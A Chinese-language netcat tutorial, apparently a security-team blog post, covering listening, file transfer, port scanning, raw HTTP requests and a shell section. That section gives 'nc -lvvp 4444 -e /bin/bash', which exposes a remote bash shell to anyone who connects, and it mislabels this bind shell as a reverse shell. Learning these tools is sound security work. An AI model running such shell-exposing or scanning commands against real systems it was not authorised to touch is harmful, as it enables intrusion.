一文学会“瑞士军刀“-netcat命令使用

发布于:2024-12-18 ⋅ 阅读:(8) ⋅ 点赞:(0)

声明!
文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

此工具无需安装,kali自带

前言

在Kali Linux中,nc 命令(即Netcat)是一个功能强大的网络工具,它可以用于网络调试和网络服务。Netcat可以作为一个简单的TCP或UDP客户端,也可以作为一个服务器来监听传入的连接。

基本使用

nc -help 

查看使用帮助

翻译如下:

连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]

选项:
 -c shell命令        作为'-e';使用/bin/sh来执行(非常危险!!)
 -e 文件名           连接后执行程序(非常危险!!)
 -b                  允许广播
 -g 网关             源路由跳转点(s),最多8个
 -G 数量             源路由指针:4、8、12,...
 -h                  这个帮助
 -i secs            发送行的延迟间隔,扫描的端口
 -k                  在套接字上设置保持活动选项
 -l                  监听模式,用于传入连接
 -n                  仅数字IP地址,无DNS
 -o 文件             流量的十六进制转储
 -p 端口             本地端口号
 -r                  随机化本地和远程端口
 -q secs            在标准输入上接收到EOF后退出,并延迟关闭连接
 -s 本地源地址      本地源地址
 -T tos             设置服务类型
 -t                  应答TELNET协商
 -u                  UDP模式
 -v                  详细(使用两次会更详细)
 -w secs            连接和最终读取的超时时间
 -C                  将CRLF作为行结束符发送
 -z                  零 - I/O模式(用于扫描)

端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。

以上命令可以结合一起使用,如下

nc -lvvp 4444 :更加详细监听4444端口 

1. 使用监听并连接

直接监听端口或者监听对应网站的端口

nc -l port
nc 域名 port

监听后如下

ctrl+c即可退出监听

连接输入ip和端口即可

nc ip port

使用UDP监听

因为nc默认监听方式是TCP,有时需要使用UDP

nc -lup port
nc -u 域名 port

2. 发送和接收文件

首先开启两个端口并创建两个文件

在a.txt写入hello

echo 'hello' > a.txt    
nc -lvvp 4444 > 1.txt  监听4444端口并将接收的内容输入到1.txt
nc ip 4444 < a.txt    连接此ip的4444端口并将a.txt内容发送

结果如下

比较文档MD5值

md5sum 1.txt
md5sum a.txt

通过MD5值可以比较文件或数据的完整性和一致性

3. 反弹shell

攻击机需要连接监听端口,目标机开启端口并开通/bin/bash权限

-e 连接后执行参数(比较危险的参数)

nc -lvvp 4444 -e /bin/bash
或者 nc -nvlp 4444 -e /bin/bash
nc ip 4444

只要连接了目标主机就会自动执行/bin/bash ,从而获得权限

4. 扫描端口

开启4444端口并执行扫描

-znv : 详细扫描端口

nc -lvvp 4444
nc -znv ip 4000-4500

可以看到成功扫描了端口

同样的,使用nmap扫描也是可以的

nmap ip
nmap ip -p 1-65535

成功扫描

5. 发送HTTP请求

开启一个web服务,有1.txt和a.txt两个文件

执行完连接命令,可以在命令交互面板,执行下面三条语句构造一个http请求

nc 127.0.0.1 80

GET / HTTP/1.1         GET方式
Host: 127.0.0.1        域名或ip
Connection: close      执行完毕后关闭

可以看到成功执行了命令并回显在了面板,不过这种方法不是特别方便